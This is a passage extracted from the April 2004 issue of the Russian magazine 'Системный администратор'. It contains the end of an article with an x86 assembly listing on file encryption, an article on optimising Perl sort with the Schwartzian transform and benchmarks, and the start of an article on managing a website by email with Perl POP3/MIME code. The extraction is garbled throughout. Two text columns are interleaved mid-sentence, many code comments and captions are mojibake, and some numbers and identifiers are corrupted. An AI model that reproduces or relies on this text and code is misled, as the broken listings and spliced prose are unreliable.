mov mHnd,eax ; Ñîõðàíÿåì õýíäë ïàìÿòè ме того, если дискета потеряется или испортится, то дос-
or eax,eax ; åñëè îøèáêà, òî íà âûõîä
jz error2_ ; туп к зашифрованным файлам станет невозможным.
push sz_ ; êîëè÷åñòâî ïàìÿòè äëÿ ðàáîòû
Именно поэтому решать использовать внешний носитель
push 0 ; для хранения секретного ключа или нет – дело каждого
push 0 ; из нас. Что касается меня, то я больше доверяю своей
push 2 ; Ðåæèì çàïèñè
push eax ; õýíäë памяти.
callx MapViewOfFile ; Âûçûâàåì ôóíêöèþ Отдельное спасибо Владимиру Мешкову за помощь в
test eax,eax ; Åñëè îøèáêà, òî
je error3_ ; íà âûõîä плготовке статьи.

68
программирование

ОПТИМИЗАЦИЯ СОРТИРОВКИ В PERL

В пилотном номере журнала «Системный администратор» была опубликована статья Даниила


Алиевского – «Эффективное использование памяти в Perl при работе с большими строками».
Тогда-то у меня и возникла мысль написать статью об эффективном использовании времени в Perl,
то есть об оптимизации, направленной на увеличение быстродействия.

АЛЕКСЕЙ МИЧУРИН
При работе с массивами (списками)1 сортировка являет- сделать статью максимально понятной и для людей, не
ся, наверное, наиболее частой операцией. Я не беру в рас- знакомых с Perl.
чёт операции, отвечающие фактически за создание спис- Давайте сперва изучим особенности алгоритма сор-
ков: присоединение и удаление элементов, объединение тировки, вернее особенности её реализации в Perl 5.6. Я
массивов, срез и тому подобные; мы займёмся преобра- не буду здесь рассматривать саму реализацию. Она дос-
зованием уже созданных списков. Мало кто поспорит с таточно сложна и вместе с тем отлично прокомментиро-
тем, что процедура сортировки является весьма ресурсо- вана в исходных кодах Perl. Если вас интересует этот воп-
ёмкой. Можно ли снизить нагрузку на систему, не вмеши- рос, просто почитайте исходные коды. Итак, приступим.
ваясь в сам алгоритм сортировки?
В этой статье я хотел бы рассказать о путях оптимиза- Оценка производительности
ции сортировки в Perl, но думаю, что изложенные здесь сортировки в Perl
приёмы могут быть полезны и для программистов на дру- В качестве критерия производительности я выбрал вели-
гих языках. Особенно, когда речь идёт о языках высокого чину, равную отношению: в числителе – количество срав-
уровня, где уже существуют встроенные функции сорти- нений, необходимое для выполнения сортировки, в зна-
ровки, и вам не надо писать алгоритм сортировки само- менателе – количество элементов в сортируемом списке.
стоятельно, но и вмешаться в него вы уже не можете. Я То есть величину, показывающую, сколько сравнений при-
не смогу написать здесь учебник по Perl, но я постараюсь ходится в среднем на один элемент списка. Естественно,

70
программирование
эта величина зависит и от размера массива, и от меры В результате выполнения этой команды элементы мас-
его начальной упорядоченности. сива @unsorted сортируются по алфавиту и новый, сорти-
рованный, список помещается в массив @sorted4.
Ценность функции sort для программиста была бы не
велика, если бы это была единственная её форма, но, к
счастью, функция sort допускает формулирование любо-
го критерия сортировки. Вторая форма такова:

Ëèñòèíã 2

# Ôóíêöèÿ sort ñ çàäàííûì êðèòåðèåì ñîðòèðîâêè


@sorted = sort {...} @unsorted;

При каждом сравнении в блоке операторов {...} автома-


тически создаются две локальные5 переменные $a и $b,
которые являются синонимами сравниваемых элементов
Ðèñóíîê 1. Ðåçóëüòàòû òåñòîâ ïðîèçâîäèòåëüíîñòè âñòðîåííîé исходного списка @unsorted. Из-за этой синонимичности
ïðîöåäóðû ñîðòèðîâêè ÿçûêà Perl äëÿ èçíà÷àëüíî óïîðÿäî÷åííûõ
ìàññèâîâ (óïîð.), îáðàòíîóïîðÿäî÷åííûõ ìàññèâîâ (îáð.) è íå менять значение этих переменных весьма нежелательно,
óïîðÿäî÷åííûõ ìàññèâîâ (ñëó÷.) ðàçëè÷íîé äëèíû2. это приведёт к изменения соответствующих элементов
На приведённой диаграмме показаны результаты тес- списка @unsorted и может сбить sort с толку. Результат вы-
тов, проведённых на разных массивах. Тестировались три полнения блока интерпретируется так же, как результат вы-
рода массивов: упорядоченный (в результате сортировки полнения операторов <=> и cmp. То есть блок сообщает,
массив не менялся), обратноупорядоченный (в результа- какой из двух элементов следует считать меньшим.
те сортировки массив перестраивался в обратном поряд- Пример:
ке) и массив случайных величин (для этого случая на ди-
аграмме показаны средние значения). Ëèñòèíã 3
Как видите, наименее ресурсоёмкой оказалась сорти- # Ñîðòèðîâêà ÷èñåë ïî óáûâàíèþ
ровка уже отсортированного массива, чего, наверное, и @sorted = sort {$b <=> $a} @unsorted;
следовало ожидать. Менее тривиальный результат состо-
ит в том, что для сортировки обратноупорядоченного мас- В этом примере элементы списка сравниваются уже
сива требуется не намного больше актов сравнения, чем как числа. При каждом сравнении, для пары сравнивае-
для упорядоченного. И самой ресурсоёмкой оказывается мых элементов создаются синонимы – локальные пере-
сортировка «случайного» (неупорядоченного) списка. менные $a и $b; выполняется блок {$b <=> $a}; по его ре-
Такие результаты тестов не случайны3, но мы догово- зультатам sort делает вывод – надо ли переставить эле-
рились, что не будем затрагивать тонкости реализации, менты или следует сохранить прежний порядок. Как ви-
оставив их для разработчиков языков. Просто сортиров- дите, в нашем случае сортировка выстроит числа, состав-
ка такова и результаты тестов таковы. ляющие массив @unsorted по убыванию.
Самым важным и интересным для нас в этих тестах Для иллюстрации подхода, который я собираюсь опи-
является то, что количество необходимых для сортировки сать, более подходит следующий пример, реализующий
актов сравнения возрастает непропорционально количе- сортировку строк по алфавиту без учёта регистра:
ству элементов в списке. То есть для сортировки случай-
ной последовательности из 10 элементов необходимо (в Ëèñòèíã 4
среднем) 23 сравнения, а для сортировки подобного спис- # Ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà ðåãèñòðà
ка из 10 000 элементов необходимо не 23 000 сравнений, # (îïòèìèçàöèè íåò)
@sorted = sort {uc($a) cmp uc($b)} @unsorted;
а в шесть(!) раз больше – 136 000. Обратите внимание,
эта закономерность выполняется для любых списков, не- Здесь, выполняя каждое сравнение, мы преобразуем
зависимо от их начальной упорядоченности. операнды cmp к верхнему регистру; uc – встроенная фун-
Здесь-то перед программистом и открывается кажу- кция Perl6. Обратите внимание, мы не сохраняем резуль-
щийся бескрайним простор для оптимизации кода. Давай- тат работы uc. Вот тут-то и кроется возможность оптими-
те перейдём от сухой теории к практическим рецептам зировать нашу работу.
(пока тоже достаточно сухим). Итак, блок {uc($a) cmp uc($b)} выполняется столько раз,
сколько сравнений необходимо для сортировки. Функция
Сортировка в Perl и её оптимизация uc вызывается дважды при каждом выполнении блока.
Для сортировки массивов и списков в Perl предусмотрена Давайте оценим, сколько раз она выполнится.
встроенная функция sort, которая в самой простой своей Цифры оказываются весьма красноречивы. Для сор-
форме может использоваться так: тировки «случайного» (неупорядоченного) списка из 1000
строк понадобится в среднем 19 460 вызовов uc. То есть
Ëèñòèíã 1 каждый элемент списка будет преобразован в верхний
# Ýëåìåíòàðíîå ïðèìåíåíèå ôóíêöèè sort регистр почти двадцать раз! Для аналогичного списка из
@sorted = sort @unsorted; 1 000 000 строк Perl придётся вызывать uc 4 3180 000 раз,

№4(17), апрель 2004 71


программирование
и каждый элемент будет преобразован более 43 раз. Ко- чем прямая пропорциональность количеству элементов.
нечно, такая трата вычислительных ресурсов совершен- Одним словом, при достаточном количестве элемен-
но не оправданна. тов мы обязательно снизим суммарный расход времени
Для оптимизации быстродействия нам придётся пожер- на сортировку. Какое количество элементов следует счи-
твовать памятью, но, к счастью, память сейчас не дорога, тать «достаточным»? Это зависит от сложности критерия
а вот время всегда – деньги. сортировки. Часто (но не всегда), чем сложнее критерий
Путь оптимизации очень прост, суть его такова: (тот критерий, который сформулирован в блоке операто-
ра sort), тем меньше надо элементов, чтобы почувство-
Ëèñòèíã 5 вать выигрыш; но, чем сложнее процедура вычисления
# Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà критерия (та процедура, которая находится в map), тем
# ðåãèñòðà; äëèííàÿ ôîðìà ñ âðåìåííûìè ìàññèâàìè больше надо элементов, чтобы выигрыш стал ощутимым.
@temp_unsorted =
map {[uc, $_]} @unsorted; Подробнее это обсудим совсем скоро, а пока рассмотрим
@temp_sorted = детальнее наш последний код.
sort {$a->[0] cmp $b->[0]} @temp_unsorted;
@sorted = Всю описанную здесь процедуру можно записать ко-
map {$_->[1]} @temp_sorted; роче и без использования временных массивов:

Здесь нам встречается оператор map, позвольте ска- Ëèñòèíã 6


зать два слова о нём для тех, кто не знаком с Perl. Опера- # Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà
тор map получает в качестве аргументов блок операто- # ðåãèñòðà; êîðîòêàÿ ôîðìà áåç âðåìåííûõ ìàññèâîâ
@sorted =
ров и массив; блок операторов применяется последова- map {$_->[1]}
тельно к каждому элементу массива, в каждой итерации sort {$a->[0] cmp $b->[0]}
map {[uc, $_]} @unsorted;
переменная $_7 становится синонимом очередного эле-
мента; все результаты итераций возвращаются операто- Эта конструкция известна как преобразование Рэнда-
ром в виде массива результатов. ла Шварца8.
Давайте теперь посмотрим, как работает последний ли- Последний код выглядит гораздо более изящно, но
стинг. иногда уместнее использовать первый вариант (листинг 5)
Сперва (первый вызов map), мы создаём временный или некий гибридный подход. Например, это полезно, ког-
несортированный массив @temp_unsorted, состоящий из да критерий сортировки используется многократно, или в
указателей на двухэлементные массивы. Нулевой элемент тех случаях, когда целесообразно рассчитывать сразу не-
каждого из них содержит критерий сортировки. В нашем сколько критериев.
случае это строка в верхнем регистре. Первый элемент В следующем примере мы создаём два сортирован-
содержит оригинальную (исходную) строку. Созданная ных без учёта регистра списка: по алфавиту и в обратном
нами конструкция напоминает двумерный массив. В Perl алфавитном порядке. При этом uc вызывается только один
не предусмотрено многомерных массивов, их роль выпол- раз для каждого элемента.
няют массивы указателей на массивы. В данном случае
нам нужно именно это, и при реализации подобного под- Ëèñòèíã 7
хода на других языках понадобится скорее всего нечто # Ñîçäàíèå äâóõ ñîðòèðîâàííûõ áåç ó÷¸òà ðåãèñòðà ñïèñêîâ;
подобное. Работа с настоящим двумерным массивом в # âäâîéíå îïòèìèçèðîâàííàÿ ðåàëèçàöèÿ
@temp_unsorted = map {[uc, $_]} @unsorted;
этой ситуации может оказаться менее эффективной (в @sorted_a2z = map {$_->[1]}
зависимости от конкретной реализации двумерных мас- sort {$a->[0] cmp $b->[0]} @temp_unsorted;
@sorted_z2a = map {$_->[1]}
сивов в языке). sort {$b->[0] cmp $a->[0]} @temp_unsorted;
Затем (вызов sort) мы сортируем временный массив
@temp_unsorted, используя в качестве критерия сортиров- Помимо выигрыша, который дала бы оптимизация каж-
ки нулевые элементы анонимных двухэлементных масси- дой отдельной сортировки, здесь мы получили дополни-
вов. В переменной @temp_sorted получаем уже отсорти- тельный выигрыш. Если просто дважды применить клас-
рованный массив указателей на наши двухэлементные сическое преобразование Рэндала Шварца, то на одну
массивы. сортировку потребовалось бы два вызова map. Здесь же
Наконец (второй вызов map), восстанавливаем отсор- на каждую сортировку приходится полтора вызова map
тированный массив @sorted, извлекая оригинальные стро- (три map на два sort). Причём реальный выигрыш ещё
ки из первых элементов анонимных массивов, указатели больше, так как дважды выполняется процедура map, вос-
на которые составляют @temp_sorted. станавливающая данные, а процедура расчёта критерия
Вы уже заметили, что теперь мы вычисляем uc ровно сортировки (более ресурсоёмкая, чем восстановление
столько раз, сколько у нас сортируемых элементов. Это данных) выполняется всего один раз на две сортировки.
прогресс! Но теперь кроме sort мы дважды вызываем map. То есть для каждой из двух сортировок на один элемент
Это лишняя трата времени. Тем не менее, затраты вре- понадобилась половина, если можно так сказать, вызова
мени на выполнение map растут пропорционально коли- uc. Впечатляющий результат?! Особенно, если вспомнить,
честву элементов в массиве @unsorted, а экономия вре- что если бы мы просто дважды использовали неоптими-
мени на выполнение процедуры sort растёт пропорцио- зированный код, аналогичный приведённому в листинге
нально количеству сравнений, то есть гораздо быстрее, 4, применительно к массиву из миллиона строк, то каж-

72
программирование
дая строка была бы преобразована к верхнему регистру ные $ap и $as соответственно; элемент $b обрабатывает-
без малого сто раз (более 86 раз). ся аналогично. Если номера версий равны, то сравнива-
Вернёмся теперь к вопросу о том, какой же список сле- ются подверсии12.
дует считать «достаточно» длинным, и какой критерий сор- Вариант с нашей оптимизацией будет выглядеть так:
тировки – «достаточно» сложным.
Ëèñòèíã 10
Тестируйте, тестируйте # Ñîðòèðîâêà ñïèñêà âåðñèé ñ îïòèìèçàöèåé
и ещё раз тестируйте @sorted=map { $_->[0] }
sort { $a->[1] <=> $b->[1] ||
Переходим от теории к практике: к тестам на реальных $a->[2] <=> $b->[2]; }
задачах. map { m/(\d+)\.(\d+)/;
[$_, $1, $2]; } @unsorted;
Я производил свои тесты на Perl версии 5.6.1 (revision 5.0
version 6 subversion 1)9. Для оценки производительности Этим примером я хотел продемонстрировать, что вспо-
кода использовался метод timethese стандартного пакета могательный массив (создаваемый вторым по тексту опе-
Benchmark. Все тесты производились на изначально не- ратором map) может содержать указатели не только на
сортированных, «случайных», массивах. Тесты произво- двухэлементные анонимные массивы. В нашем случае
дились многократно, результаты усреднялись. критерий сортировки достаточно сложен и мы создаём
Давайте для начала сравним производительность кода трёхэлементные анонимные массивы: нулевой элемент –
листинга 4 (без оптимизации) и листинга 6 (с оптимиза- оригинальная строка, первый – номер версии, второй –
цией). номер подверсии.
При сортировке списка из 1000 однокилобайтных строк С точки зрения расхода памяти такой подход доста-
оптимизированный код показывает производительность, в точно расточителен, тем не менее он часто бывает оправ-
пять раз превосходящую производительность неоптимизи- дан, когда критерий сравнения достаточно сложен.
рованного кода. При сортировке аналогичного списка из Однако наш пример не настолько сложен, в чём мы
100 элементов выигрыш от оптимизации снижается, ста- сейчас и убедимся, не только усовершенствовав оптими-
новясь четырёхкратным. При работе со списком из 10 эле- зацию и ускорив процедуру сортировки, но и сэкономив
ментов выигрыш становится меньше трёхкратного. Для память.
пяти элементов – менее двукратного. Наконец, с двухэле- Воспользуемся соображением, что номер версии и
ментным списком оптимизированная сортировка работает подверсии не может быть больше 999. Тогда мы можем
примерно вдвое медленнее, чем неоптимизированная10. преобразовать версию и подверсию в одно число по фор-
Для иллюстрации ещё одного приёма оптимизации и муле:
тестов предлагаю средней сложности сортировку.
Пусть у нас имеется некий список версий вида: [âåðñèÿ]*1000+[ïîäâåðñèÿ]

Ëèñòèíã 8 То есть 1.1 превратится в 1001, а 1.10 – в 1010. Сорти-


# Ñïèñîê âåðñèé ровка таких чисел, очевидно, аналогична правильной сор-
@unsorted=('Ver 1.0', тировке версий.
'version 1.1',
'v. 1.10', Новый код будет выглядеть так:
'ver 2.20',
'Ver 2.0', Ëèñòèíã 11
'Version 2.3',
'V 2.12');
# Ñîðòèðîâêà ñïèñêà âåðñèé ñ äîïîëíèòåëüíîé îïòèìèçàöèåé
@sorted=map { $_->[0] }
sort { $a->[1] <=> $b->[1] }
Нам необходимо отсортировать его по возрастанию map { m/(\d+)\.(\d+)/;
номера версии. Сортировка по алфавиту (как в листинге 1) [$_, $1*1000+$2]; } @unsorted;
не даст ничего удовлетворительного. Сортировка версий,
как десятичных дробей тоже потерпит крах, так как в этом Обратите внимание, как упростилась процедура срав-
случае окажется, что 1.1 равно 1.10, а 2.3 больше, чем нения. Это стоило нам небольшого усложнения (и замед-
2.12. Здесь нужен более деликатный подход11. ления выполнения) кодирующего (второго по тексту) map.
Простой вариант без оптимизации может выглядеть так: Но зато теперь память используется более экономно и,
что самое главное, сравнение двух элементов в блоке опе-
Ëèñòèíã 9 ратора sort происходит гораздо быстрее.
# Ñîðòèðîâêà ñïèñêà âåðñèé áåç îïòèìèçàöèè Какова же производительность этих кодов? Как пока-
@sorted=sort { зывают тесты, наш успех не всегда можно назвать голо-
my ($ap, $as)=($a=~m/(\d+)\.(\d+)/);
my ($bp, $bs)=($b=~m/(\d+)\.(\d+)/); вокружительным13.
$ap <=> $bp || $as <=> $bs; } @unsorted; При сортировке списка из 1000 элементов: первая оп-
тимизация (листинг 10) даёт выигрыш в 4 раза (здесь и
Для сравнения двух строк мы выделяем по два числа далее будем сравнивать с неоптимизированным кодом из
из каждого сравниваемого элемента сортируемого спис- листинга 9); дополнительная оптимизация (листинг 11)
ка и производим сравнение этих чисел. Версия и подвер- даёт ещё больший выигрыш – в 4.7 раза.
сия, выделенные из элемента $a, помещаются в перемен- При сортировке списка из 100 элементов: первая оп-

№4(17), апрель 2004 73


программирование
тимизация даёт выигрыш в 3.8 раза, вторая оптимизация таких случаях сортировка может оказаться менее ресур-
уже не способна дать дополнительный выигрыш, она ра- соёмка и экономия времени от выноса кода за пределы
ботает чуть медленнее первой и даёт выигрыш в 3.7 раза. блока оператора sort будет ощущаться на больших мас-
Такая же ситуация, только более ярко выраженная, сивах.
наблюдается при сортировке списка из десяти элементов: Есть ещё одно существенное соображение. Вы виде-
первая оптимизация – выигрыш в два раза, вторая опти- ли, что при работе с большими списками код из листинга
мизация – выигрыш только в 1.7 раза. 11 более производителен, чем код из листинга 10. Одна-
Для списка из пяти элементов тестирование даёт сле- ко промежуточный массив, возникающий при работе лис-
дующие результаты: первая оптимизация по-прежнему тинга 10, позволил бы весьма гибко выполнять самые раз-
даёт заметный выигрыш в 1.34 раза, вторая оптимизация ные сортировки (конечно, если бы мы его сохранили по-
продолжает себя дискредитировать, давая выигрыш все- добно тому, как мы это сделали в листинге 7 при созда-
го в 1.19 раза. нии двух сортированных массивов). Например, мы могли
Мораль, я думаю, уже понятна: чем продуманнее оп- бы сортировать список версий по возрастанию версии, но
тимизация, тем она, без сомнения, эффективнее; но её убыванию подверсии. То есть, совершенствуя наше ре-
эффективность начинает проявляться только при сорти- шение, мы снизили его универсальность, которая могла
ровке достаточно длинных списков. Причём эта крити- бы оказаться полезной в каких-то ситуациях.
ческая длина возрастает с ростом продуманности опти- Одним словом, абсолютно универсального решения не
мизации. существует. Каждый подход хорош только в определён-
Размышляя над результатами наших тестов, обратите ных условиях. Если вы намерены всерьёз позаботиться о
внимание и на тот факт, что все они проводились на не- производительности своего кода, то я посоветовал бы
упорядоченных массивах, сортировка которых наиболее ознакомиться со страницами руководства perldoc
ресурсоёмка. На практике очень часто встречается ситу- Benchmark и всегда тестировать свой код. Причём тести-
ация, когда требуется лишь восстановить слегка нарушен- рование, как вы уже убедились, следует проводить в ус-
ный (скажем, добавлением новых элементов) порядок. В ловиях максимально «приближенных к боевым».
1 7
В Perl термины массив (array) и список (list) во многом Именно переменную $_ использует функция uc, если
синонимичны, и я буду использовать их, всегда имея в аргумент не задан явно. То есть вызов uc (без аргу-
виду упорядоченный набор данных. ментов) эквивалентен вызову uc($_).
2 8
Данные, приводимые разными источниками, иногда Randal L. Schwartz, Портленд (штат Орегон). Шварц ши-
очень сильно отличаются друг от друга. Это бывает свя- роко известен своими книгами (есть и переведённые
зано с тем, что тесты разных авторов проводились на на русский язык) и публикациями, а также своими ча-
разных алгоритмах или на данных различной изначаль- сто шутливыми высказываниями в Usenet. Если вы про-
ной упорядоченности. Кроме того, некоторые авторы граммируете на Perl, то наверняка уже сталкивались с
считают не акты сравнения, а акты вычисления опе- ним.
9
рандов сравнения; естественно, таких вычислений в Это весьма существенная информация, функция sort
два раза больше, чем сравнений. постоянно совершенствуется разработчиками Perl. В
3
Процедура сортировки в Perl весьма сложна. Алгоритм последней версии 5.8 добавлена даже новая прагма
«адаптируется» к статистическим особенностям сор- use sort, позволяющая в некотором роде выбрать ал-
тируемой последовательности, которые заранее неиз- горитм сортировки.
10
вестны и не всегда верно «угадываются». Подобных Конечно, для сортировки двух величин эффективнее
механизмов может не быть в других языках, поэтому использовать не процедуру sort, а конструкцию напо-
аналогичные тесты могут дать иные результаты. добие такой: @srt=$usrt[0] gt $usrt[1]?@usrt:@usrt[1,0];
4
Обратите внимание: при таком вызове функции sort она работает в десятки раз быстрее, чем sort.
11
выполняется именно строковое сравнение элементов Для работы со строками я буду использовать механизм
массива @unsorted, то есть массив @unsorted=(1,2,11) регулярных выражений, описание которого выходит
в результате сортировки будет преобразован к далеко за рамки настоящей статьи.
12
@sorted=(1,11,2). Сюрприз? Надо заметить, что в предложенный здесь и далее код
5
Переменные $a и $b получают область видимости далёк от совершенства и едва ли применим для реше-
именно local, а не my. То есть они видны глобально во ния реальных задач. Корректность исходных данных
всех вызываемых блоком подпрограммах (в пределах не проверяется, а строка вида «Windows 95» уже бу-
текущего модуля) и могут (но не должны!) изменяться дет обработана неправильно.
13
ими. Только после завершения выполнения блока этим Скорость подобной сортировки существенно зави-
переменным возвращаются их прежние значения, как сит от длины и характера сортируемых строк. Я про-
если бы они были локальными. водил тесты на строках, аналогичных приведённым
6
Функция uc работает гарантированно корректно толь- в листинге 8. Если бы мы взяли более длинные стро-
ко с латинскими буквами. Для сортировки строк, со- ки, они обрабатывались бы медленнее, различия ре-
держащих русские символы, следует применять более зультатов тестов стали бы ощутимее, но общий ха-
тонкие приёмы. Здесь мы не будем касаться этого воп- рактер описываемых закономерностей не изменил-
роса. ся бы.

74
web

АВТОМАТИЗАЦИЯ ВЕБ-ПРОЕКТОВ
ЧЕРЕЗ ЭЛЕКТРОННУЮ ПОЧТУ

Если взглянуть на мир со стороны, становится абсолютно не понятно, кто и как управляет сайтами.
Информации на этот счет крайне мало, хотя, думаю, существует достаточное количество
интересных решений. Более-менее развитые движки сайтов предоставляют веб-интерфейс
управления контентом, если, конечно, это не считается принципиальным аппендиксом.
Про то, что я буду описывать, лично мне нигде пока слышать не доводилось.

ИГОРЬ ТЕТЕРИН
76
web
Сразу же уточним, чего мы хотим добиться. Наша зада- Пока все выглядит очень красиво. Однако, чтобы со-
ча – сделать как можно более удобный и доступный ин- здать нечто подобное в реальности, нам придется ввязать-
терфейс для наполнения сайта контентом, то есть пере- ся в битву с одним, а может, и двумя, самыми запутанны-
ложить часть рутины на скрипты и сотрудников. Значит, ми стандартами: MIME и HTML.
нам предстоит заняться автоматизацией этого процесса. Победить в битве с HTML достаточно трудно – это до-
Иногда дело доходит до смешного. Есть у человека вольно противоречивый и очень динамичный стандарт. Тут
свой проект, и даже есть свой движок. Но для каждого придется не один раз приложить и руки, и голову. В рам-
нового динамического раздела он пишет и рисует фор- ках нашей задачи мы коснемся его только слегка.
мы, пишет обработчики, вставляет проверки. Появляется
новый раздел – берем шаблон предыдущего, корректиру- Выбор платформы, языка
ем, правим, редизайним, проверяем и выкладываем. И и оценка задачи
еще раз проверяем. На чем будет работать наш обработчик почты? Ответ оче-
Такой вот обьем работы ради того, чтобы добавить один виден, если предположить, что все должно работать и на
раздел. А кто-то ведь еще работает и делает это через Windows, и на UNIX-платформах. Мы не станем ограничи-
dial-up. Любой, кто занимался этим, поймет – эта работа вать себя чем-то одним, поэтому после разработки обра-
для орков. Мы же – программисты. ботчика сможем использовать его и там, и там. А это весь-
У нас есть свой проект, и тратить кучу времени на раз- ма удобно.
работку каждого отдельно взятого раздела мы не хотим. На чем будем писать? Немного подумаем. Учитывая,
Лучше мы помучаемся один раз, зато потом жизнь наша что PHP я не знаю и знать не хочу, остается один выбор –
станет сладкой и динамичной. Perl. К тому же Perl, с моей точки зрения, концептуально
более правильный язык и больше подходит на роль стан-
Новый принцип автоматизации. дартного. Но не это важно, важны принципы и алгоритм,
Основы. Сравнения а реализовывать можно хоть на Ruby.
Как-то давно, когда я писал ret 0.8 (ядро для интернет- Ну и, наконец, перед нами стоит задача написать об-
сайтов), мой друг заметил, что было бы весьма удобно, работчик почты. То есть нам потребуется автоматизиро-
если бы сайтом можно было управлять через электрон- вать прием, отправку, разбор писем. Плюс к этому возни-
ную почту. Тогда мы не уделили этому вопросу должного кает проблема безопасности и защищенности такого ре-
внимания. Позднее – только вспоминали про эту техноло- шения.
гию. И вот, наконец, я решил испробовать это на одном Что же нам потребуется? Один почтовый ящик, хостинг
разделе своего сайта http://revda.biz. (хотя можно и локально) с поддержкой Perl и несколькими
Написал простой скрипт, который читает почту из рас- дополнительными модулями с CPAN. Ну и остальное «ог-
сылки и публикует все, что попадет, на сайт. И тут я по- нестрельное оружие», вроде putty, far, TheBat и т. д.
нял, что это очень удобно! Люди, которые писали в рас-
сылку, просто переписывались, при этом страница сайта Переходим к практике
была в постоянном движении. Те, кто заходил на эту стра- Рассмотрим очень простой пример. Первое, что нам по-
ницу, знали и понимали – за новой информацией туда требуется – подключение нужных модулей:
можно заходить каждый день. Да, пока это больше похо-
же на обычный интернет-трэд, но все же! use Net::POP3;use MIME::Parser;
use MIME::Entity;
Как все это выглядит? Наша задача – обрабатывать use MIME::Head;
письма, которые мы будем брать с заранее созданного use MIME::Body;
use MIME::Words qw(:all);
почтового ящика. Этот же ящик мы можем подписать на use MIME::QuotedPrint;
рассылки или нечто подобное, дело даже не только в рас- use MIME::Base64;
сылках. Мы можем дать адрес ящика нужным нам людям
для того, чтобы они присылали туда новую информацию Определим основные объекты и переменные:
почтой, и не приучать их пользоваться для этого каким-
либо веб-интерфейсом. Кроме того, наш сайт может брать my $parser = MIME::Parser->new;
$parser->output_to_core(1);
что-то из сети Интернет, а результат пересылать на тот $parser->tmp_to_core(1);
же почтовый ящик.
$mail_server='127.0.0.1';
Грубо говоря, наш почтовый ящик стал централизован- $username='login';
ным источником информации. Этого обычно не скажешь о $password='password';
веб-интерфейсе, где приходится (по большей части) кого-то
напрягать, заставлять или самому работать ручками. Более Теперь получим список писем:
того – мы можем автоматически обрабатывать не один ящик,
а несколько, закрепив за каждым свою тематику. $pop = Net::POP3->new($mail_server)
or die "Can't open coonection to $mail_server :$!\n";
Этот подход также решает вопрос вашего присутствия
в Интернете. Так как мы работаем с почтовым ящиком, то $pop->login($username, $password)
or die "Can't Authenticate: $!\n";
для того, чтобы обработать материал, ответить кому-то
или сделать что-то еще, нам достаточно просто скачать $messages = $pop->list
or die "Can't get listof undeleted messages: $!\n";
почту, поработать с ней и отослать ответы.

№4(17), апрель 2004 77


web
Начинаем обрабатывать каждое письмо: {
if ($bodyCoding eq 'koi8-r') {$bodyCoding = 'koi'}
if ($bodyCoding eq 'koi8r') {$bodyCoding = 'koi'}
foreach $msgid (keys %$messages) if ($bodyCoding eq 'iso8859-5') {$bodyCoding = 'iso'}
{ if ($bodyCoding eq 'koi8-u') {$bodyCoding = 'koi'}
$message = $pop->get($msgid); if ($bodyCoding eq 'koi' || $bodyCoding eq 'iso')
unless (defined $message) { $body = encoder($body, $bodyCoding, 'win') }
{ }
warn "Couldn't fetch $msgid from server: $!\n";
next; $subj = join( "",
} map {xcode( ${$_}[1], ${$_}[0])}
decode_mimewords(
Следующий метод изначально был взят у Рэндола Швар- $ent->head->get('Subject',0)
ца. Если вы поищете в Сети, то найдете нечто вроде Perl- )
);
Column, мне встречался даже перевод, правда, неполный.
Далее следует примерно такой алгоритм: если в пись- $date = $ent->head->get('Date',0);
ме есть часть типа text/plain, то берется именно эта часть, }
а все остальное игнорируется.
Таким образом, если мы встречаем письмо, где есть Собственно, все. Переменная $subj содержит тему
HTML-часть и текст, то в качестве входящих данных бе- письма, $body – тело письма, а $date – дату. Остальные
рется именно текст. Если текстовой части нет – письмо параметры письма вы сможете легко получить, исполь-
игнорируется. зуя уже подключенные в программе модули.
Теперь вы смело можете сохранить в базе данных по-
$pop->delete ( $msgid ); лученные результаты. Я, например, сохраняю их таким об-
@message = @$message;
$ent = $parser->parse_data ( \@message ); разом:
$bodyCoding = $ent->head-> ↵
mime_attr( 'Content-type.charset' ); use collector;
$origType = $ent->head-> ↵ ($r) = Add2Revorum ( \$subj, \$body, \$date );
get( 'Content-Transfer-Encoding',0 );

if ( $ent->effective_type eq 'text/plain' ) где модуль collector.pm – часть моего движка сайта, которая
{ создает необходимую структуру и, используя ядро ret WebOS
# ïèñüìî – òîëüêî òåêñò
$bodyCoding = $ent->head-> ↵ и модуль Storable, пишет её базу (обычные плоские файлы).
mime_attr( 'Content-type.charset' ); О проблеме альтернативной СУБД я напишу в другой
$origType = $ent->head-> ↵
get( 'Content-Transfer-Encoding',0 ); статье. Те, кого это заинтересовало, могут обратиться за
$body = $ent->body_as_string; подробностями по интернет-адресу: http://jkeks.far.ru/ret.
}
elsif ( Подпрограммы или процедуры, ответственные за пе-
$ent->effective_type eq 'multipart/alternative' рекодировку:
and $ent->parts(0)->effective_type eq 'text/plain' )
{
# ïèñüìî, ãäå ïåðâàÿ ÷àñòü ìóëüòèïàð – òåêñò sub xcode {
$bodyCoding = $ent->parts(0)->head-> ↵ # îïðåäåëÿåì êîäèðîâêó è âûçûâàåì ïåðåêîäèðîâùèê, åñëè íóæíî
mime_attr( 'Content-type.charset' ); my ($charset, $src) = @_;
$origType = $ent->parts(0)->head-> ↵ my %charsets = (
get( 'Content-Transfer-Encoding',0 ); 'windows-1251' =>'win',
$body = $ent->parts(0)->body_as_string; 'iso8859-5' =>'iso',
} 'koi8-r' =>'koi',
elsif ( 'koi8r' =>'koi',
$ent->effective_type eq 'multipart/alternative' 'koi8-u' =>'koi',
and $ent->parts(1)->ffective_type eq 'text/plain' ) );
{ return $src unless ($charsets{lc($charset)});
# ïèñüìî, ãäå âòîðàÿ ÷àñòü ìóëüòèïàðò – òåêñò return encoder($src, $charsets{lc($charset)}, 'win');
$bodyCoding = $ent->parts(1)->head-> ↵ }
mime_attr( 'Content-type.charset' );
$origType = $ent->parts(1)->head-> ↵
get( 'Content-Transfer-Encoding',0 ); Огромная благодарность российскому разработчику
$body = $ent->parts(1)->body_as_string;
} библиотек pvd – Денису Познякову (Denis Poznyakov,
else {next} pvdenis@usa.net) – за минимальный код перекодировки
chomp $origType; русских символов. Перекодировка основывается на дан-
ных полей письма, тут нет попытки создания какого-либо
Чем универсален этот код, так это тем, что в нём проис- анализатора.
ходят все стандартные MIME-декодировки – Base64 и Quoted-
Printable – и перекодирование из ISO и KOI в Windows-1251. sub encoder {
my $enstring = shift; my $cfrom = shift; my $cto = shift;
my %codefunk = (
